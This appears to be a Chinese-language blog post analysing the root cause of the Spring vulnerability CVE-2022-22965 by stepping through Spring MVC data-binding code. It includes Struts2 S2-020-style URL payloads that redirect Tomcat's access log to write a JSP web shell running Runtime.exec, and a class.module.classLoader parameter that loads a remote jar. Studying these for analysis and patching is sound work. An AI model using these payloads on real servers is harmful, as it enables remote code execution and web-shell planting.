浅谈CVE-2022-22965漏洞成因（六）

前言：记录一篇自己入门java安全的故事，捋一下思路，轻量知识 ，重在调试 ！

.

这篇文章四个部分：

引入篇：整理一下CVE-2022-22965漏洞的来龙去脉

基础篇：回顾Java中一些基础的内容

调试篇：阅读Spring MVC部分源码

分析篇：分析CVE-2010-1622、CVE-2022-22965的漏洞成因

.

分析篇

( 紧接" 浅谈CVE-2022-22965漏洞成因（四）”，复现并分析一下CVE-2022-22965漏洞成因 )

CVE-2022-22965漏洞分析

1、在Struts2框架的S-20的问题中的攻击手法

这里我们仅需要了解一个思路，CVE-2022-22965中的攻击手法与这个相同，其payload如下：

```
//修改写入文件所在的根目录
http://127.0.0.1:8080/FirstStruts2/login?class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

//修改写入文件的名称
http://127.0.0.1:8080/FirstStruts2/login?class.classLoader.resources.context.parent.pipeline.first.prefix=shell

//修改写入文件的后缀名
http://127.0.0.1:8080/FirstStruts2/login?
class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

//修改文件日期格式，用于切换目录
http://127.0.0.1:8080/FirstStruts2/login?
class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=2

//访问shell.jsp将会记录日志
http://127.0.0.1:8080/FirstStruts2/shell.jsp?=<%Runtime.getRuntime().exec("calc");%>
```

看完前面的调试过程，再看这个payload基本上没什么问题，不再过多叙述。

.

带Spring MVC项目的项目部署到Tomcat中(或者Spring Boot可执行jar，内置web服务器)，多加个module改下Payload，就能写入个日志文件，且是jsp格式的。

简单的改一下，用下面的Payload，访问(无攻击效果)，看看Spring MVC版本5中是如何对请求传参作递归解析、获取PropertyDescriptor以及在这个过程中怎么绕过了CVE-2010-1622中Spring官方的修复

http://localhost:8090/SpringMVC5/level/info?class.module.classLoader.URLs[1]=jar:http://localhost:9999/test.jar!/

2、调试Spring MVC版本5中请求传参作递归解析

从DataBinder开始

DataBinder调用AbstractPropertyAccessor的setPropertyValues方法遍历每一个参数并开始对每一个参数进行解析，我们只传了了一个需要递归解析的请求参数，所以，在setPropertyValues里只会进行一轮迭代

AbstractPropertyAccessor调用AbstractNestablePropertyAccessor的setPropertyValue方法，在这个方法中，有解析形如"var1.var2.var3.var4.var5"这种形式的请求参数

解析class的过程如下：

解析module的过程如下：

解析classLoader的过程如下：

对class.module.classLoader.URLs[]赋值的过程如下：

第一个参数解析完毕！

3、绕过原因分析

重点就是这里，本来的拦截规则是当内省的bean是class且获取到的PropertyDescriptor是classLoader时，CachedIntrospectionResults是不能缓存classLoader这个PropertyDescriptor的，但是jdk11中多了个Module的特性，当内省的bean是Module时，CachedIntrospectionResults就能缓存classLoader这个PropertyDescriptor了。

.

.

写在最后:

4月份时就分析了这个漏洞，但由于各种原因，拖到现在才总结出来，中间有许多有趣的东西都遗忘了，再加上临近期末，各种事情凑团，有很多细节的东西都没补充全。

再有就是本文重在通过调试分析整个代码执行的过程，不过多追求如何攻击，payload利用需要根据Spring部署的环境视情况而定，找到可利用链。(PS:自己也不是很懂)

.

推荐阅读：

光闪师傅写的《深入理解Spring MVC源代码》

P牛师傅写的Java安全漫谈

yiran4827师傅的Struts2 S2-020在Tomcat 8下的命令执行分析

https://cloud.tencent.com/developer/article/1035297

Ruilin师傅的SpringMVC框架任意代码执行漏洞

http://rui0.cn/archives/1158

麦兜师傅的Spring 远程命令执行漏洞分析

https://paper.seebug.org/1877/